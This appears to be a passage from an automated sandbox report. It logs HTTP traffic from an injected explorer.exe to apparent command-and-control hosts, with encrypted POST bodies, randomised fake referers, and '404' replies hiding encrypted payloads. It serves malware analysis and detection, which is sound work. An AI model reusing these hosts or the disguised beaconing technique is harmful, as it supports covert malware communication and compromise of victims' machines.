Dec 20, 2023 03:12:21.415870905 CET	274	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lbnidyoxywptx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: liuliuoumumy.org
Dec 20, 2023 03:12:21.415899992 CET	234	OUT	Data Raw: 48 9d 8f b9 3c 15 23 52 5a 04 51 56 0c ac 26 ca 5a 6b ed 62 8c 1b df de c1 19 d7 f1 00 f7 d3 e7 f9 a1 8d b5 75 35 90 b6 a4 5d 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 a1 f1 4c a0 Data Ascii: H<#RZQV&Zkbu5]j~_=;}f=B!bOL&v8deo>$PpTgl//7ok[]CLQa!MNv4\i@~aRwR.{,@sv"2B4<mN
Dec 20, 2023 03:12:21.995630980 CET	422	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:12:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=dfe2bd3ef15c4dd63490aae2342b3c96\|102.129.152.212\|1703038341\|1703038341\|0\|1\|0; path=/; domain=.liuliuoumumy.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=102.129.152.212; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:22.428072929 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gvxwxslfmyohbda.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 346 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:22.428109884 CET	346	OUT	Data Raw: 48 9d 8f b9 3c 15 23 52 5a 04 51 56 0c ac 26 ca 5a 6b ed 62 8c 1b df de c1 19 d7 f1 00 f7 d3 e7 f9 a1 8d b5 75 35 90 b6 a4 5d 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 ad f4 0d d4 Data Ascii: H<#RZQV&Zkbu5]j~_=;}f=B!bOt*w1i!sfhCV!~$h\=Q8#Y0n=]"OHCYIr,jgrjQU^xh('^#Y2c?&TYeo
Dec 20, 2023 03:12:22.716730118 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 53 a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f d2 f0 46 65 73 fe 74 89 c7 8b 39 3e db 7d 26 f1 9c 20 e5 d4 19 85 0e 0c 22 4b 08 f1 72 8e 91 31 8c 96 e7 6c f0 0e 8c 92 98 23 9c d0 f4 a2 22 95 79 ad ce ab 6e 3e 6f 41 03 5a 3a 9a 95 d0 37 fb 9a d3 c8 f4 ce fb 4e 34 c8 e9 fc 81 7d 09 69 48 c2 51 34 c8 80 56 30 90 62 42 15 4d 94 8d 70 58 ca 82 cd ca 50 85 73 ba 57 b4 49 5d a5 0c 36 7c 83 c6 7d b7 dd 34 16 96 9c e6 03 4d 95 bf a4 56 a4 5e 0d 3c 90 c5 d0 f5 93 fc 59 fe 37 8d 84 3b 7a 0d 21 42 ad ec 32 91 72 d6 70 e7 13 d5 b4 a0 15 fc 01 dd dc 99 a7 49 7c 2b 04 07 27 89 89 72 3c 26 42 c1 db a2 96 1f d8 29 e9 38 70 78 f1 df 3e c7 fb 0b 6a a9 Data Ascii: 1f66=S7f0\|gW5p@E74o8>lR/wC9w/sY}hTm1@0c/&<M9l=SG9)(&a<xb\-8RN5DI?rTb`K+KRkoR:K\Bz<Lr?CoN%oL:=\ms :FgE#K,xU6L=<B>}(z:4A,YXbZ+7>ww?l($I`Usx1>X>7Yc6:/&(3?^cbc 6,Kx,-:dmT\v,N=XMu+}0+!m?iAE$KRy9Dc4b^_GT1+M6`OD%x ]5zWFJ1_tf$N@k;[JvMj,~+nlcIS06wNiV@9O\|jAf5~Xsl7CCPuH`L%jbvyP\|,IVGY}'"f\|+$;3R)Or"Mp~i[B\|zX9byoYu@`vW-pWPW/Im&$eIp1T[,V~yHY=xoO3 z/'KsBmFF^v)>KX"u)svE>3#2gn\GyZi~.<M`V8c/Fest9>}& "Kr1l#"yn>oAZ:7N4}iHQ4V0bBMpXPsWI]6\|}4MV^<Y7;z!B2rpI\|+'r<&B)8px>j
Dec 20, 2023 03:12:22.716897964 CET	1286	IN	Data Raw: 20 b5 83 8f ce c8 66 c5 57 bf b8 da a6 60 38 92 c4 04 f6 cc 46 bd 8a 94 a0 75 c2 1e 20 75 c2 9e a2 e5 8b 43 a3 3d c2 11 a2 a1 3e aa d0 63 97 97 8c 7c 09 4d de d5 1f e8 32 6c 17 91 cd a6 b1 ef 6a bb 2c 61 3c a3 64 65 32 0b b0 07 9a 5a a7 0a 52 44 Data Ascii: fW`8Fu uC=>c\|M2lj,a<de2ZRD@7I~2Xwc`cs&)2G(Nn.X4gx?04rMo[;KX06}]pU]%(9g]F[!'if\Ts)z
Dec 20, 2023 03:12:22.716909885 CET	1286	IN	Data Raw: 96 63 fd 15 63 42 c2 68 9a 8e 32 09 24 6a 18 ac 94 67 d9 21 1c e5 b3 35 16 f1 20 6b bb ed 7e e2 e0 c3 89 5c 2f 86 38 6d e5 35 c5 2a 33 ab b5 af db 01 e8 f6 1e ba 4c 58 f8 c4 54 7e 45 89 54 7e d6 f0 13 e6 7e ca fb 0d 3b cb 4b c4 4d b5 6d 84 f2 bb Data Ascii: ccBh2$jg!5 k~\/8m5*3LXT~ET~~;KMm{8lN4P<mpdhKcgJq4.]R8ej965ck1DsM%P^e)-5W:66$7'}Lj[3;9Oyyw;3W1b()
Dec 20, 2023 03:12:22.717016935 CET	1286	IN	Data Raw: f8 8c fe af 93 87 52 0a 60 74 1d e5 8f 0c f4 23 60 2e 0a 8f fe 46 9c 23 72 df 43 cb 1d 75 d7 59 e5 79 d6 c3 20 68 bb 5f 88 af fa 3e aa 25 70 fe 63 8c a9 96 08 cb cf 36 26 d0 06 9d 5b d1 97 e9 d1 7e 9e 1a 64 16 c3 25 57 9b 12 3e d0 8b 43 76 44 39 Data Ascii: R`t#`.F#rCuYy h_>%pc6&[~d%W>CvD99@l(\e-U #nm,Z\|I W];,B1z~6F Kz}fF 4v9k`HZ/O=Iy1 o>kCT\|?+hkq+R<`6
Dec 20, 2023 03:12:22.717103004 CET	1286	IN	Data Raw: ff 6f 02 f6 2f 2d 90 e2 e6 dd ab 7a a6 da d8 dd 7f cc ba e6 bb 6c b6 fc 1a 83 25 81 96 69 c0 be 97 ed c3 b2 07 73 e7 69 92 a1 3b 73 30 93 b7 36 d6 c9 f3 c7 e3 2e f1 bd cb 0f 61 a0 0a 97 9e 40 5b 5d 23 27 4d 30 31 5f 56 eb 52 fa db 74 ce 6b c7 a6 Data Ascii: o/-zl%isi;s06.a@[]#'M01_VRtkCuv.`lC3M.QdvL_KKo T:>t&^]b-6I_Shah*#\|sW[M:w0F%$yJ>3t\jS\Z!
Dec 20, 2023 03:12:22.717176914 CET	1286	IN	Data Raw: 38 ca 47 40 42 3c 2d e0 9f d1 21 78 38 fb 0d a1 18 5d 14 f5 c9 3a e6 2b e0 95 93 40 cb c8 24 a1 3d fd e8 f3 2b 84 3f d5 6a 1c 15 e8 1e 1a a3 17 33 2c 5a 1f 23 1a 81 2c 71 81 7b 99 ef 8d df 82 9b 69 4e cb 1c 44 24 48 3e 58 b2 2d 88 8f 54 5f f8 d6 Data Ascii: 8G@B<-!x8]:+@$=+?j3,Z#,q{iND$H>X-T_HNf]~B\|Zjx)R\|y2DBR B*Vuqm^ATQ`oVP"oXFwCf-%{+)27O_on]2Ozmw
Dec 20, 2023 03:12:22.717297077 CET	1286	IN	Data Raw: 1b c8 af d6 5e 17 b7 e1 60 fc e9 f8 25 b2 53 d4 f8 1b f0 d4 dd 79 a9 0e cc 03 68 df 76 a8 57 3a ef 8e 06 3c fe fd 2e 1d bd dd ec 83 a3 13 95 99 f5 20 f8 84 5f ac 3f 83 90 d8 f7 b4 db 8c 62 cb 0e 09 f5 0a 08 90 17 85 b3 18 b4 85 60 ed 0c c4 16 d4 Data Ascii: ^`%SyhvW:<. _?b`%h8!?5qIZYv~]8HKgLufxV#sf]:rWWAc:=z[7cS8t~s/ht,txuWHEHYzHZ
Dec 20, 2023 03:12:22.717411995 CET	1286	IN	Data Raw: 69 1e 79 51 23 c4 46 9f 19 ca b8 28 f5 98 c1 e3 1d b8 dd c8 35 9f 98 d3 6e 55 80 6e 66 7a 91 fd e6 42 d8 31 94 c5 8c 53 98 ce 85 80 a6 2c b2 91 9e 9f fd e3 f4 42 b3 db 64 f3 e0 22 04 65 94 51 15 43 ce 5d 19 c8 3e 8c 31 d7 d2 01 01 43 b5 6d 9d a1 Data Ascii: iyQ#F(5nUnfzB1S,Bd"eQC]>1CmB1Jq^vvh`+"?%HjBB_hv[3f\X:,'B?#)K;VdpW4R=sA^g%1\<Gy
Dec 20, 2023 03:12:22.717494011 CET	1286	IN	Data Raw: 1e f9 2f dc 67 49 e8 0b 98 33 a7 4e dd dd 24 35 ca 3f 73 8e 0a 43 8f a2 8c 6f 94 9f 0a ee 8b b2 00 f7 9a 7a 75 24 de bc ee ac a2 6c 54 68 1a ac d7 20 1c cf 01 83 da d0 7d 3b 4f 56 15 f2 09 a2 b4 8c 2c b4 cb af 34 c0 3c a5 16 03 22 0b d1 f4 90 12 Data Ascii: /gI3N$5?sCozu$lTh };OV,4<"\|,ulfJE\|SN0(g_"UXT_J<Zzy%/R,?u\d< JMY0yJEyep7v2l6J]XPxvB+Upf]hV\$r+2
Dec 20, 2023 03:12:22.717593908 CET	1286	IN	Data Raw: aa 02 c0 2f b9 32 2f 7b ff 3e c6 b2 c9 17 74 f1 7e 7e 80 c7 f4 ef 7a d7 dd 0b 67 0a ce 39 0c a9 ec ef 8a 1e d4 97 c8 74 62 e0 91 c6 f8 52 3a 50 aa d9 ff 58 73 c1 c5 44 a2 c4 12 cf 72 29 11 aa 5d 1c 3b b8 41 fe ec 9f ec 98 f0 79 3b 6f 5d 68 f3 a5 Data Ascii: /2/{>t~~zg9tbR:PXsDr)];Ay;o]hDXGligPPK/#[N,]=AwGx(SSAzlyXBl'`?)VgLS\|&Wee\|WU!rivBGA?~,cx
Dec 20, 2023 03:12:23.830828905 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://feqxhtoobcht.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:24.121270895 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 56 2b ae 9f 4e 18 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f e8 92 24 98 53 c5 03 29 8f a1 61 7e de f5 ed 89 19 17 7e 4f af 9a a5 e4 d5 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f5 96 be 25 51 61 9f d4 3e 7c 88 28 c8 48 6b 41 a0 4a 9a 07 fd ec 36 db 64 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 8d 4d d0 4f 5f 79 82 ae 9c 97 5d 4c dd 8d ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 00 b3 e5 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 a2 d7 e3 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 24 5e 40 e7 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 03 01 ab 1b 6f d3 cb 29 32 b8 fb 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 95 a9 1f e4 a6 dd 0c 9f 10 f7 d9 b0 99 93 85 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb e1 7d 55 28 d2 5e 5a 1f d0 bb aa 7a 8f 14 77 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b9 94 65 5c dc e5 7e e5 7d 71 d4 03 eb f3 98 76 b2 0e ca 82 33 39 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 54 a3 c7 21 be 86 08 15 b6 88 cc 8b 07 eb 67 3e 7b d8 4d a2 cd 7b 6e 5f 62 e4 5c c5 cb d3 61 1a 81 42 7c 82 17 b2 26 ea b3 8c 29 ce f1 45 fd 55 f0 98 ed 38 8a df f8 97 37 52 0b 58 a1 4f 28 8f d1 f1 ca a9 59 c1 6f 81 4d c8 8e 47 0b Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSQV+N~ExU$$S)a~~OzN.%Qa>\|(HkAJ6d/MF$l#l)l~qhJMO_y]LW;r#u1yr+L1<'i3FHU=h?U@Wd{9f($^@=fd0QpKk1:TUo)2[P&}WL\h[bX?tyPmCbzJ}U(^Zzw7 R:Vce\~}qv39.5)CUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=T!g>{M{n_b\aB\|&)EU87RXO(YoMG
Dec 20, 2023 03:12:27.294321060 CET	278	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bqrupmjxgta.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 298 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:27.581123114 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 20, 2023 03:12:27.587424994 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ogmgcntibebglg.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 236 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:27.875185966 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 25 8b e2 e3 5f ed 43 7c f7 59 8d 22 5a f0 87 45 e6 11 b7 02 08 3c 5c 1b 69 e6 d1 bc 68 65 bf 10 29 30 6a 49 03 3d 20 08 65 fa 25 8e 84 44 39 29 a8 12 5a a0 8b e5 7b 92 47 03 ea 17 0a 99 25 0d 2f e6 49 80 b7 9b 4a ab e9 68 77 8f 5e 3d 8c 1e d6 86 50 9d 16 66 6d f2 7b 98 a8 93 82 c6 fa 51 a1 5e 51 56 a3 07 53 29 1d 7c 3e 2a e4 89 9e 50 3f 47 34 93 28 57 d5 13 79 0b 5e 47 58 f7 0f af fa 9e be 36 31 3f 3c c8 be 93 3c 20 05 e5 74 3a 88 32 6c b5 cd 66 1f df 64 47 29 3f 52 3b 4c 1e 46 54 78 2a c6 68 f7 53 25 4c ae 20 50 d1 2e 79 be 64 3a 27 8f af 76 f0 3d 7c 26 0b 89 ec e0 0e 0d 65 84 9a 1c ad 33 ba a7 64 7f 7a cc 77 92 bc 04 5b 3a b6 73 c4 a5 c5 08 0d ad 90 49 d5 78 78 0c 3a ca ee 85 37 ac c4 e1 d7 b4 18 65 b0 3d 7c 84 0c e3 cc 6b 6e 9c f4 cb 49 24 0c b4 f4 7b 08 e1 49 a5 68 1d c4 ac 23 ee 23 91 8d fd df 08 80 a7 4e c8 02 79 af 2f 9f 35 51 99 d8 7e 03 51 03 5b 08 63 fe e7 9c 87 22 84 98 0b 02 88 e9 85 73 1c bb 39 b1 6d 8e ad 22 5e 0d a2 c0 f5 f5 6a 62 55 10 d8 80 34 5e 0a dc 06 ce b9 4f de 14 63 52 16 e0 e0 92 ad d5 83 83 1b 44 60 a0 a6 7b 8f 76 11 63 da f6 c6 5c 4c 42 a6 0d de fa 47 e9 a6 33 aa 3c 7a 82 8f a2 b7 21 58 c8 df 1a b2 7f 8a f4 0c 5f 26 2f 33 05 17 5c 15 c7 c9 77 5c aa 62 01 1b f2 b6 ee e5 8a 1d 12 94 e7 14 c4 6e 10 77 3d e5 04 37 3e f5 4b b3 eb e1 75 9d 97 3f 38 c4 e5 29 c8 35 21 85 f8 de 6d 0a b1 b9 48 1c 08 b7 29 7f 31 d8 7b 48 09 31 88 aa a0 3e c1 39 6e a5 73 b5 3f 1d e2 bc 40 68 d1 40 31 dc 66 36 c5 6c 8b c2 1c 7c fa 63 95 f9 d5 ec 27 f0 e4 b9 81 0d 10 0c 3d 4d 30 a9 d4 ab f8 80 05 13 a3 e8 e1 b0 ce 0b fa d1 df 21 1f 62 41 a1 c3 29 7b f0 cd cf 19 fb 83 18 c3 a0 b1 aa 44 61 ac c3 69 a5 54 87 3b 2b a1 49 b6 3d be 8b 61 56 b2 84 0c 6d d2 1f a6 77 84 de b8 04 1b 7b b8 f7 a2 05 58 fa fa e0 cc 7b ed af cb 6c c5 ea ba 3a 4a 63 31 f5 26 76 11 38 5f 6f 97 33 84 8e d8 a9 a5 d2 56 49 11 af da e3 81 ac 0f ad 87 7b 85 ee 4d 6a d9 75 98 1b da 69 e6 ed 78 3d a8 e9 fe 9a 71 f9 72 dc af 83 f3 33 86 d1 3f 29 cd d0 1e e2 2f b5 84 74 92 31 b3 77 f3 e4 7c 38 01 60 1e 21 76 ec e5 1e b6 0e 52 e9 f3 1c 36 33 0d ae f1 01 2f c5 00 c6 05 72 19 15 4a 59 2c f8 86 f6 0d 92 dd ef b8 0b 79 3d 5b bc 80 80 5b 6c e2 77 63 7e 2b 6a 84 37 62 f8 97 23 55 df 1d ad 75 38 33 63 3c 31 3b 7a d6 6a 2a 70 eb 08 d9 92 4c 46 71 1b 85 9c 2c d6 fc e5 57 79 e4 3a 07 33 3b 39 bf 4f f7 8d f1 e2 77 08 10 b6 eb dd 37 a6 05 4e b3 2b 88 76 ec f4 ef fe 5a 40 71 57 f6 ff 